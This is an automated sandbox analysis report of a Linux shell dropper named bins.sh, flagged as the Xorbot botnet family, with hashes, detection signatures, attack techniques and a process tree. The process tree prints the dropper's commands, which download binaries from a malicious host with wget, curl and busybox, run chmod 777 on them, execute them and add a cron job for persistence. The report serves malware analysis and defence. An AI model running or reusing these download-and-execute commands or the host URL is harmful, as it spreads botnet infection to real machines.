Analysis
-
max time kernel
149s -
max time network
146s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
20-02-2025 20:32
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240418-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
a3ceaf947e73854eeafaa22fd0d0c171
-
SHA1
82a6a99037dbacdc1026284357033d40bef30e06
-
SHA256
9f2181c0686070d26fddf9a47d686b36f776346f558f9684c7ea269530fbf14a
-
SHA512
03c0be1807e50fa0906590f5a9dcd21435ba3771d73d953a020c602f5b5aada6dc576f326c2d8c4c185b02765c5d154c5e148faa062d3933a854d4177fa064d7
-
SSDEEP
192:ZX9yVNIXTM99e9G959E9g9DpThEVVNIXTLG9e9G959E9g9d:ZX9yVNIXTM9wMDKC1pThEVVNIXTLGwM3
Malware Config
Signatures
-
resource yara_rule behavioral1/files/fstream-1.dat family_xorbot behavioral1/files/fstream-3.dat family_xorbot behavioral1/files/fstream-5.dat family_xorbot behavioral1/files/fstream-7.dat family_xorbot behavioral1/files/fstream-9.dat family_xorbot -
Xorbot family
-
File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1534 chmod 1542 chmod 1550 chmod 1558 chmod 1566 chmod -
Executes dropped EXE 5 IoCs
ioc pid Process /tmp/PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy 1535 bins.sh /tmp/4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK0 1543 bins.sh /tmp/oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N84 1551 bins.sh /tmp/Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH 1559 bins.sh /tmp/RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF 1567 bins.sh -
Renames itself 1 IoCs
pid Process 1568 RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.CKfyRl crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for reading /proc/450/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/956/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1519/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/12/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/5/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/27/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/79/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/470/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/663/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/3/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/98/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/175/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1146/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1179/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1209/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/15/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/23/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/34/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/161/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/204/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/453/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/964/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1130/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/533/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1155/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1521/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/976/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1120/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1199/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1286/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1576/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/17/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/459/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/666/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1198/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1296/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/85/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/178/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1341/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/19/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/24/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/166/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1134/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1150/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/11/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/2/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/460/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/558/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1025/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/26/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/739/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1267/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/35/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/83/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/502/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/587/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/982/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1084/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1342/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/89/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/164/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/501/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF File opened for reading /proc/1238/cmdline RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF -
System Network Configuration Discovery 1 TTPs 13 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1577 wget 1527 wget 1533 busybox 1546 wget 1549 busybox 1557 busybox 1563 curl 1531 curl 1547 curl 1554 wget 1555 curl 1562 wget 1565 busybox -
Writes file to tmp directory 15 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy wget File opened for modification /tmp/PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy curl File opened for modification /tmp/4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK0 curl File opened for modification /tmp/Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH busybox File opened for modification /tmp/PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy busybox File opened for modification /tmp/oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N84 curl File opened for modification /tmp/oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N84 busybox File opened for modification /tmp/RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF busybox File opened for modification /tmp/4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK0 wget File opened for modification /tmp/oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N84 wget File opened for modification /tmp/Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH curl File opened for modification /tmp/4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK0 busybox File opened for modification /tmp/Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH wget File opened for modification /tmp/RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF wget File opened for modification /tmp/RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF curl
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:1525 -
/bin/rm/bin/rm bins.sh2⤵PID:1526
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1527
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1531
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1533
-
-
/bin/chmodchmod 777 PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy2⤵
- File and Directory Permissions Modification
PID:1534
-
-
/tmp/PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy./PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy2⤵PID:1535
-
-
/bin/rmrm PRjFI2nXfvd0fQpiSlLFHcl2rbD9PuHtLy2⤵PID:1537
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK02⤵
- Writes file to tmp directory
PID:1538
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK02⤵
- Writes file to tmp directory
PID:1539
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK02⤵
- Writes file to tmp directory
PID:1541
-
-
/bin/chmodchmod 777 4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK02⤵
- File and Directory Permissions Modification
PID:1542
-
-
/tmp/4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK0./4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK02⤵PID:1543
-
-
/bin/rmrm 4esDdkCFc5c8lsT6OWseqoASpwMFLm2yK02⤵PID:1545
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N842⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1546
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N842⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1547
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N842⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1549
-
-
/bin/chmodchmod 777 oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N842⤵
- File and Directory Permissions Modification
PID:1550
-
-
/tmp/oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N84./oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N842⤵PID:1551
-
-
/bin/rmrm oZt3WHf5Z46RKwrdrXwkSqLRk7HxLG8N842⤵PID:1553
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1554
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1555
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1557
-
-
/bin/chmodchmod 777 Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH2⤵
- File and Directory Permissions Modification
PID:1558
-
-
/tmp/Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH./Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH2⤵PID:1559
-
-
/bin/rmrm Yf9Ejzi3moHMRtjy731yyRRJrj6kspicJH2⤵PID:1561
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1562
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1563
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1565
-
-
/bin/chmodchmod 777 RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF2⤵
- File and Directory Permissions Modification
PID:1566
-
-
/tmp/RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF./RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF2⤵
- Renames itself
- Reads runtime system information
PID:1567 -
/bin/shsh -c "crontab -l"3⤵PID:1569
-
/usr/bin/crontabcrontab -l4⤵PID:1570
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1571
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1572
-
-
-
-
/bin/rmrm RiIohjjNRhtj2B0IS8lZ7rOoqGQz58XaCF2⤵PID:1574
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/5E4TlMZEHYcd2JTGzfD4fqmEej3mfo7LCm2⤵
- System Network Configuration Discovery
PID:1577
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
-
Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
-
Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
-
Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
-
Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
-
Filesize
210B
MD520dcc4c50ac73eb6378a58bbc8d56f45
SHA1fb90b9bea28a9afda649a852cb93b33c03b174fb
SHA256628116d8852baa90eae7a8a2f1e475fbc93b4b2e160cdf57959a618167009e30
SHA512a778f137e0daeedcdd2fca6fdfde33bc1f50e08a56bacc68c931e9b9acd0dcff1434602ec022da719b1e213a24a8cb2f9dec9f3a343794a10707aec1dbad6300